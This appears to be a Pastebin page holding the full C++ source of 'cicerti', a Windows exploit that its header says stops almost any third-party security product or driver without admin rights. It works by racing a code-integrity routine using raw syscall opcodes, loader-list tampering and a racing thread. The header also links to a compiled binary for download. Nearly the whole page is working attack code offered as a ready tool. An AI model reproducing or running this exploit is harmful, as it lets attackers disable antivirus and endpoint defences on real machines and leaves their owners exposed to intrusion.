Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //
- // cicerti.cpp
- // 2024-12-25, in public domain.
- //
- // Tool to reliably stop almost any 3rd party Windows security system, via ci!CiValidateFileAsImageType.
- // No privileges needed at all, user rights are enough. Shall work on most OS: 10 22H2, 11 24H2, WS2022.
- // But: it requires CI policies (e.g. KMCI or UMCI should be enabled).
- //
- // Download compiled binary: 👉 https://pixeldrain.com/u/59HPXv7r
- // 7f40d62d177d757cfd10304ecd79dca755856b56d33adbc7ccb4734c80dcdec2
- // Old binary (for tracking only): https://pixeldrain.com/u/oQX2GUfA
- // 5d0a0613ad872f037622f9fb16c35d34313967837f2723fda47a80f9311d0d92
- //
- // Thread: 👉 https://x.com/sixtyvividtails/status/1872042418583064945
- //
- #include <conio.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <Windows.h>
- #pragma warning(push)
- #pragma warning(disable: 4005) // macro redefinition
- #include <ntstatus.h>
- #pragma warning(pop)
- #ifndef _M_X64
- #error unsupported arch
- #endif
- #pragma comment(lib, "ntdll.lib")
- #pragma comment(lib, "winmm.lib")
- //----------------------------------------------------------------------------------------------------------------------
- // Declarations.
- //----------------------------------------------------------------------------------------------------------------------
- extern "C"
- {
- extern "C" IMAGE_DOS_HEADER __ImageBase; // linker-defined
- #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
- #define NtCurrentThread() ((HANDLE)(LONG_PTR)-2)
- #define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
- #define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT 0x00000020
- #define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x04
- #define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400
- #define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000
- constexpr auto SystemCodeIntegrityInformation = (enum _SYSTEM_INFORMATION_CLASS)103;
- constexpr auto SystemCodeIntegrityCertificateInformation = (enum _SYSTEM_INFORMATION_CLASS)183;
- constexpr auto SystemCodeIntegrityPoliciesFullInformation = (enum _SYSTEM_INFORMATION_CLASS)189;
- typedef NTSTATUS(NTAPI* PUSER_THREAD_START_ROUTINE)(
- _In_ PVOID ThreadParameter
- );
- typedef struct _SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION
- {
- HANDLE ImageFile;
- ULONG Type;
- } SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION, * PSYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION;
- typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION
- {
- ULONG Length;
- ULONG CodeIntegrityOptions;
- } SYSTEM_CODEINTEGRITY_INFORMATION, * PSYSTEM_CODEINTEGRITY_INFORMATION;
- NTSYSCALLAPI
- NTSTATUS
- NTAPI
- NtQuerySystemInformation(
- _In_ enum _SYSTEM_INFORMATION_CLASS SystemInformationClass,
- _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,
- _In_ ULONG SystemInformationLength,
- _Out_opt_ PULONG ReturnLength
- );
- NTSYSCALLAPI
- NTSTATUS
- NTAPI
- NtCreateThreadEx(
- _Out_ PHANDLE ThreadHandle,
- _In_ ACCESS_MASK DesiredAccess,
- _In_opt_ struct _OBJECT_ATTRIBUTES* ObjectAttributes,
- _In_ HANDLE ProcessHandle,
- _In_ PUSER_THREAD_START_ROUTINE StartRoutine,
- _In_opt_ PVOID Argument,
- _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
- _In_ SIZE_T ZeroBits,
- _In_ SIZE_T StackSize,
- _In_ SIZE_T MaximumStackSize,
- _In_opt_ struct _PS_ATTRIBUTE_LIST* AttributeList
- );
- } // extern "C"
- //----------------------------------------------------------------------------------------------------------------------
- // Our declarations.
- //----------------------------------------------------------------------------------------------------------------------
- static NTSTATUS query_policies(_Out_ bool* hasSiPolicies, _Out_ bool* hasAcPolicies, _Out_ UINT* ciOptions);
- static NTSTATUS exploit(PCWSTR targetName);
- static volatile bool g_shouldStop;
- static volatile bool g_inLogoffOrShutdown;
- //----------------------------------------------------------------------------------------------------------------------
- // Code: trivial funcs.
- //----------------------------------------------------------------------------------------------------------------------
- static void wait_keypress_if_console_owner()
- {
- if (g_inLogoffOrShutdown)
- return;
- ULONG dummy;
- if (GetConsoleMode(GetStdHandle(STD_OUTPUT_HANDLE), &dummy) // success: output is not redirected
- && GetConsoleProcessList(&dummy, 1) <= 1) // just 1 console process: it's us, we have no cmd
- {
- printf("Press any key to continue...\n");
- Sleep(125); // human reaction time
- _flushall();
- int c = _getch();
- if (!c || c == 0xE0) // arrow or function key, read one more char to drain queue
- _getch();
- }
- }
- static NTSTATUS query_args(_Out_ WCHAR(&targetName)[0x120])
- {
- printf("Please enter process or driver name which you want to stop.\n>");
- targetName[0] = {};
- if (fgetws(targetName, _countof(targetName), stdin) != targetName)
- targetName[0] = {};
- size_t len = wcslen(targetName);
- for (int i = 0; i < 2; ++i)
- if (len >= 1 && (targetName[len-1] == '\n' || targetName[len-1] == '\r'))
- targetName[--len] = {};
- if (!len)
- {
- printf("\n[x] failed to get input\n");
- return STATUS_NO_DATA_DETECTED;
- }
- return STATUS_SUCCESS;
- }
- static void init()
- {
- SetConsoleCtrlHandler([](ULONG ctrl) -> BOOL
- {
- if (ctrl != CTRL_C_EVENT && ctrl != CTRL_BREAK_EVENT && ctrl != CTRL_CLOSE_EVENT
- && ctrl != CTRL_LOGOFF_EVENT && ctrl != CTRL_SHUTDOWN_EVENT)
- {
- return FALSE;
- }
- g_shouldStop = true;
- if (ctrl == CTRL_LOGOFF_EVENT || ctrl == CTRL_SHUTDOWN_EVENT)
- g_inLogoffOrShutdown = true;
- static ULONG stops;
- if (++stops > 2)
- return false; // not handled
- return true; // we've handled Ctrl+C (don't terminate us)
- }, TRUE);
- }
- int wmain()
- {
- UINT cpuCount = *PUSHORT(0x7FFE036A);
- printf("cicerti.exe v1.0.0.1006 [%08X] - tool to stop stuff.\n"
- "OS info: %u.%u.%u, type %u; cpus: 0x%03X\n\n",
- PIMAGE_NT_HEADERS(PCHAR(&__ImageBase) + __ImageBase.e_lfanew)->FileHeader.TimeDateStamp,
- *PUINT(0x7FFE026C), *PUINT(0x7FFE0270), *PUINT(0x7FFE0260), *PUINT(0x7FFE0264), cpuCount);
- bool hasSiPolicies{};
- bool hasAcPolicies{};
- UINT ciOptions{};
- NTSTATUS st = query_policies(&hasSiPolicies, &hasAcPolicies, &ciOptions);
- printf("policy st: %08X, CiOptions: %08X, hasSiPolicies: %u, hasAcPolicies: %u, UMCI: %u, KMCI: %u, IUM: %u\n",
- st, ciOptions, hasSiPolicies, hasAcPolicies, !!(ciOptions & CODEINTEGRITY_OPTION_UMCI_ENABLED),
- !!(ciOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED), !!(ciOptions & CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED));
- bool cpuRich = cpuCount >= 2;
- bool hasUKIP = !!(ciOptions & (CODEINTEGRITY_OPTION_UMCI_ENABLED|CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED))
- || hasSiPolicies || hasAcPolicies;
- if (!cpuRich || !hasUKIP)
- {
- printf("\n"
- "WARNING WARNING WARNING:\n");
- if (!cpuRich)
- {
- printf("[x] not enough CPUs to win a race: we need at least 2; exploit will likely fail.\n");
- printf("Please make sure your system has at least 2 CPU cores.\n");
- }
- if (!hasUKIP)
- {
- // that's not given, as there might be other conditions for success
- printf("[x] ci!g_CiOptions indicate no UMCI, no KMCI, no Si/Ac policies; exploit will likely fail.\n");
- printf("You gotta enable one or another. Quick way: Win+\"Core Isolation\", [v] \"Memory integrity\"\n");
- }
- printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n");
- }
- printf("\n");
- init();
- WCHAR targetName[0x120];
- st = query_args(targetName);
- if (SUCCEEDED(st))
- {
- __try
- {
- st = exploit(targetName);
- }
- __except([](NTSTATUS ecode)
- {
- printf("[x] unexpected exception: %08X\n", ecode);
- Sleep(3000);
- return EXCEPTION_CONTINUE_SEARCH;
- }(GetExceptionCode()))
- { }
- }
- printf("\nDone. Status: %08X.\n", st);
- wait_keypress_if_console_owner();
- return st;
- }
- //----------------------------------------------------------------------------------------------------------------------
- // Code: important funcs.
- //----------------------------------------------------------------------------------------------------------------------
- static NTSTATUS query_policies(_Out_ bool* hasSiPolicies, _Out_ bool* hasAcPolicies, _Out_ UINT* ciOptions)
- {
- ULONG retlen = 0x666;
- NTSTATUS st = NtQuerySystemInformation(SystemCodeIntegrityPoliciesFullInformation, {}, 0, &retlen);
- printf("query: %08X for SystemCodeIntegrityPoliciesFullInformation, retlen: %04X\n", st, retlen);
- bool smolBuf = st == STATUS_BUFFER_OVERFLOW || st == STATUS_BUFFER_TOO_SMALL || st == STATUS_INFO_LENGTH_MISMATCH;
- *hasSiPolicies = (SUCCEEDED(st) && retlen) || (FAILED(st) && smolBuf);
- if (FAILED(st) && smolBuf && retlen)
- st = STATUS_SUCCESS; // basically OS has some policies, we just haven't provided buffer for them
- SYSTEM_CODEINTEGRITY_INFORMATION info{sizeof(info)};
- NTSTATUS st2 = NtQuerySystemInformation(SystemCodeIntegrityInformation, &info, sizeof(info), &retlen);
- printf("query: %08X for SystemCodeIntegrityInformation, CiOptions: %08X, retlen: %04X\n",
- st2, info.CodeIntegrityOptions, retlen);
- *hasAcPolicies = SUCCEEDED(st2) && (info.CodeIntegrityOptions & 0x20000); // ci!CiQueryInformation
- *ciOptions = SUCCEEDED(st2)? info.CodeIntegrityOptions: 0;
- return FAILED(st)? st: st2;
- }
- #pragma comment(linker, "/merge:.textASM=.text")
- #pragma comment(linker, "/alternatename:?asm_func@@YAJZZ=?asm_code@@3QBEB")
- #pragma comment(linker, "/include:?asm_code@@3QBEB")
- #pragma const_seg(push, ".textASM")
- // Don't wanna bother with masm; anyone ought to mentally decode these opcodes anyway.
- // BEWARE: disable cfguard for funcs you call this from.
- extern const unsigned char alignas(0x10) asm_code[] =
- {
- 0x33, 0xC0, // xor eax, eax
- 0x65, 0x8B, 0x00, // mov eax, gs:[rax]
- 0x4C, 0x8B, 0xD1, // mov r10, rcx
- 0x48, 0x0F, 0x05, // syscall (with REX)
- 0x66, 0x90, // nop
- 0xC3, // ret
- };
- #pragma const_seg(pop)
- NTSTATUS asm_func(...);
- DECLSPEC_NOINLINE DECLSPEC_GUARDNOCF
- static NTSTATUS prepare_tape(UINT64 entry, UINT offset, _Out_ UINT64* tape)
- {
- UINT64 data[0x200]{};
- data[0x10] = 0x30;
- data[0x10 + 2] = entry;
- data[0x10 + 3] = 0x40;
- __writegsdword(0, offset);
- NTSTATUS st{};
- __try
- {
- st = asm_func(data, 1, data + 0x10, data + 0x20, 1, 0, 0, 0x200, 4, data + 0x30, asm_code);
- }
- __except (EXCEPTION_EXECUTE_HANDLER)
- {
- st = GetExceptionCode() | 0x8000'0000;
- }
- if (FAILED(st))
- return st;
- UINT64 tapeLoc = data[0];
- if ((tapeLoc & 3) || ((tapeLoc & 0x3FF) == 0) || tapeLoc >= (1u << 26))
- st = STATUS_FAIL_CHECK;
- *tape = tapeLoc;
- return st;
- }
- DECLSPEC_NOINLINE DECLSPEC_GUARDNOCF
- static NTSTATUS exploit(PCWSTR targetName)
- {
- // part0
- __writegsqword(0x2D0, (UINT64)targetName);
- UINT offset = 0x30;
- UINT64 peb = __readgsqword(2 * offset);
- HANDLE heap = *(HANDLE*)(peb + offset);
- UINT64 ldr = *(UINT64*)(peb + offset/2); // get ldr
- ldr = *(UINT64*)(ldr + offset/2); // once more to get entry
- ldr = **********(UINT64**********)ldr; // 10-star programming
- constexpr int kLdrOffset = 0x48;
- for (int fails = 0;; ldr = *PUINT64(ldr + 8))
- {
- __try
- {
- if (*PUSHORT(ldr + kLdrOffset) != 0x3A || *PUSHORT(ldr + kLdrOffset + 0x10) - 0x10u > 8)
- continue;
- PVOID something = *(PVOID*)(ldr + kLdrOffset + offset/2);
- UINT64 data = 5 * ((*PUINT64(something) + *PUINT64(PCHAR(something) + 9)) | 0x2121'2121'2121'2121);
- if (data != 0x2323'22FA'FB49'ED2B)
- continue;
- something = *(PVOID*)(ldr + kLdrOffset + 8);
- (PUINT64(something))[-1] = data - 2506009908420996303;
- }
- __except (EXCEPTION_EXECUTE_HANDLER)
- {
- if (fails++ > 99)
- {
- printf("[x] too many fails in part0\n");
- return STATUS_BAD_BINDINGS;
- }
- continue;
- }
- break;
- }
- UINT64 entry = ldr + kLdrOffset;
- *PUINT64(entry + 0) += 0x80008;
- *PUINT64(entry + 8) -= 8;
- // part1
- UINT64 tape{};
- NTSTATUS st{};
- for (int i = 0; i < 0x20; ++i, ++offset)
- {
- st = prepare_tape(entry, offset, &tape);
- if (SUCCEEDED(st))
- break;
- }
- if (!tape)
- {
- printf("[x] fail part 1.0: %08X\n", st);
- return STATUS_ILL_FORMED_SERVICE_ENTRY;
- }
- UINT64 tape0 = tape;
- // part2
- SetThreadAffinityMask(NtCurrentThread(), 1);
- HANDLE process = NtCurrentProcess();
- UINT64 subtarget{};
- __writegsdword(0, offset + 0x17);
- st = asm_func(&tape, 4, subtarget, subtarget, 2, 0x08000000, tape, entry, targetName, 1, &process);
- if (FAILED(st))
- printf("[x] fail part 2.0: %08X\n", st);
- else
- {
- __writegsdword(0, offset - 0x0B);
- UINT64 tapeBase{};
- st = asm_func(tape, process, &tapeBase, 0, 0, tapeBase, &subtarget, 1, 0, 2, 0x10, &entry);
- if (FAILED(st))
- printf("[x] fail part 2.1: %08X\n", st);
- else
- {
- __writegsdword(0, offset - 0x09);
- tape = tapeBase;
- st = asm_func(process, tape, 0x18, &entry + 0x28, subtarget, &process, 4, &offset);
- if (FAILED(st))
- printf("[x] fail part 2.2: %08X\n", st);
- }
- }
- if (FAILED(st))
- return st;
- // part3
- printf("testing...\n");
- __writegsdword(0, offset + 3);
- UINT64 data[2]{tape0};
- NTSTATUS st0 = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &data[1], 4, 0x1000);
- data[1] = 1;
- NTSTATUS st1 = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &data[1], 4, 0x1000);
- data[1] = 2;
- NTSTATUS st2 = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &data[1], 4, 0x1000);
- data[1] = 3;
- NTSTATUS st3 = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &data[1], 4, 0x1000);
- printf("test status codes: 0: %08X, 1: %08X, 2: %08X, 3: %08X\n", st0, st1, st2, st3);
- // part4
- printf("making thread...\n");
- HANDLE thread;
- st = NtCreateThreadEx(&thread, THREAD_TERMINATE|THREAD_SUSPEND_RESUME|SYNCHRONIZE, {}, NtCurrentProcess(),
- [](PVOID ptr) -> NTSTATUS
- {
- SetThreadAffinityMask(NtCurrentThread(), 4);
- UINT offset = (UINT)(SIZE_T)ptr & 0xFFF;
- UINT64 data = (UINT64)(SIZE_T)ptr - offset;
- for (int i = 0;; ++i)
- {
- int pauseSelect = (__rdtsc() + ~i) & 0x3F;
- int pauseCount = (pauseSelect < 0x10)? 0: (pauseSelect < 0x24)? 0x48 + (__rdtsc() & 7):
- (pauseSelect < 0x38)? 0xC5 + (__rdtsc() & 0x3F): 0x180 + (__rdtsc() & 0x7F);
- for (int j = 0; j < pauseCount; ++j)
- _mm_pause();
- if ((i & 0x3FF) == 0)
- {
- SetThreadAffinityMask(NtCurrentThread(), (i & 0x400)? 2: 4);
- __writegsdword(0, offset);
- }
- NTSTATUS st = asm_func(NtCurrentProcess(), data, 0x200, 0x48);
- }
- }, (PVOID)(SIZE_T)(tape + offset - 0x09),
- THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH|THREAD_CREATE_FLAGS_SKIP_LOADER_INIT, 0, 4 * 0x1000, 0x10 * 0x1000, {});
- if (FAILED(st))
- return st;
- // part5
- printf("trying to kill target...\n");
- timeBeginPeriod(1); // important for for faster stop on win11 24H2
- UINT tick0 = GetTickCount();
- UINT ticksSpentPrev = 0;
- bool tooLongOutputDone = false;
- for (int i = 0;; ++i)
- {
- if ((i & 0x7FF) == 0)
- {
- UINT ticksSpent = GetTickCount() - tick0;
- if (ticksSpent > ticksSpentPrev + 2500)
- {
- ticksSpentPrev = ticksSpent;
- printf("iter %07X: spent %02u/60 seconds so far...\n", i, ticksSpent / 1000);
- }
- if ((ticksSpent > 15'000 && ticksSpent < 19'000) || (ticksSpent > 27'000 && ticksSpent < 36'000)
- || (ticksSpent > 43'000 && ticksSpent < 47'000) || (ticksSpent > 52'000 && ticksSpent < 55'000))
- {
- SuspendThread(thread);
- Sleep(0);
- ResumeThread(thread);
- }
- if (ticksSpent > 25'000 && !tooLongOutputDone)
- {
- tooLongOutputDone = true;
- printf("[!] can't seem to catch the drift, please try to move this window or something...\n");
- }
- if (ticksSpent > 60'000)
- break;
- if (g_shouldStop)
- break;
- __writegsdword(0, offset + 3);
- }
- UINT type = 2 * ((i >> 10) & 1);
- UINT64 data[2]{tape0, type};
- st = asm_func(SystemCodeIntegrityCertificateInformation, data, sizeof(data), &type, 4, 0x1000);
- }
- if (g_shouldStop)
- {
- printf("[!] cancellation requested\n");
- st = STATUS_CANCELLED;
- }
- else
- {
- printf("[x] failed to kill target after 60+ seconds; "
- "either unlucky run, or OS doesn't KMCI/UMCI policies enabled\n");
- st = STATUS_RETRY;
- }
- timeEndPeriod(1);
- TerminateThread(thread, STATUS_TIMEOUT);
- CloseHandle(thread);
- return st;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement